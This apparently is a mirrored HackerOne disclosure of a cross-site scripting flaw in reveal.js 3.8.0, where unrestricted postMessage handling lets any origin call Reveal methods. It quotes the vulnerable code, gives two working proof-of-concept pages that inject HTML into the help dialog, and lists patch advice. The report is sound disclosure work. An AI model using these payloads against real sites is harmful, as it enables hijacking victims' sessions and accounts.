Lucene search

K
hackeroneS_p_q_rH1:691977
HistorySep 10, 2019 - 6:29 p.m.

Node.js third-party modules: [reveal.js] XSS by calling arbitrary method via postMessage

2019-09-1018:29:45
s_p_q_r
hackerone.com
74

0.001 Low

EPSS

Percentile

43.3%

I would like to report XSS in reveal.js
It allows gaining access to the victim’s account and performing actions on his behalf

Module

module name: reveal.jsversion:3.8.0npm page: https://www.npmjs.com/package/reveal.js

Module Description

> A framework for easily creating beautiful presentations using HTML. Check out the live demo.
>
> reveal.js comes with a broad range of features including nested slides, Markdown contents, PDF export, speaker notes and a JavaScript API. There’s also a fully featured visual editor and platform for sharing reveal.js presentations at slides.com.

Module Stats

[N/A] downloads in the last day
[4666] downloads in the last week
[N/A] downloads in the last month

Vulnerability

Vulnerability Description

The setupPostMessage function accepts messages from arbitrary origins and allows calling any method available in Reveal:

function setupPostMessage() {
	
	if( config.postMessage ) {
		window.addEventListener( 'message', function ( event ) {
			var data = event.data;
			
			// Make sure we're dealing with JSON
			if( typeof data === 'string' && data.charAt( 0 ) === '{' && data.charAt( data.length - 1 ) === '}' ) {
				data = JSON.parse( data );

				// Check if the requested method can be found
				if( data.method && typeof Reveal[data.method] === 'function' ) {
					Reveal[data.method].apply( Reveal, data.args );
				}
			}
		}, false );
	}
}

For the proof of concept let’s consider the addKeyBinding method. It pushes the provided key data (code, description and callback) into the registeredKeyBindings array:

function addKeyBinding( binding, callback ) {
	
	if( typeof binding === 'object' && binding.keyCode ) {
		registeredKeyBindings[binding.keyCode] = {
			callback: callback,
			key: binding.key,
			description: binding.description
		};
	}
	else {
		registeredKeyBindings[binding] = {
			callback: callback,
			key: null,
			description: null
		};
	}
	
}

which in its turn is put into HTML without sufficient validation within the showHelp method:

function showHelp() {
	
	...
	
	for( var binding in registeredKeyBindings ) {
		if( registeredKeyBindings[binding].key && registeredKeyBindings[binding].description ) {
			html += '<tr><td>' + registeredKeyBindings[binding].key + '</td><td>' + registeredKeyBindings[binding].description + '</td></tr>';
		}
	}
	
	...
	
}

All in all this allows the attacker to perform XSS via postMessage by submitting payloads in its data (PoC against the https://revealjs.com homepage):

&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;XSS&lt;/title&gt;
        
		&lt;style&gt;
			iframe
			{
				width: 100%;
				height: 100%;
				border: none;
			}
		&lt;/style&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;iframe name="reveal" src="https://revealjs.com" onload="xss()"&gt;&lt;/iframe&gt;

        &lt;script&gt;
            var frame = window.frames.reveal
            
            function xss ()
            {
                frame.postMessage ('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src>"}]}', '*')
                frame.postMessage ('{"method":"toggleHelp"}', '*')
            }
        &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;

http://spqr.zz.mu/reveal.php

&lt;script&gt;
    var win = window.open ('https://revealjs.com')
    
    function xss ()
    {
        win.postMessage ('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src>"}]}', '*')
        win.postMessage ('{"method":"toggleHelp"}', '*')
    }
    
    setTimeout (xss, 500)
&lt;/script&gt;

http://spqr.zz.mu/reveal_open.php

Steps To Reproduce:

Open one of these links in any browser and wait for the page to load:

{F579591}

Patch

  • Use secure HTML assignment at the showHelp method
  • Check other available methods for similar vulnerabilites
  • By default allow calling secure methods only
  • By default turn on secure configs only
  • Prohibit overriding them via seach params
  • By default allow messages from whitelisted origins only

Supporting Material/References:

  • Any
  • 4.0.0 or later
  • Any
  • Any
  • Any

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Hunter’s comments and funny memes goes here

Presentation with reveal.js about xss

{F579592}

Impact

Gaining access to the victim’s account and performing actions on his behalf

0.001 Low

EPSS

Percentile

43.3%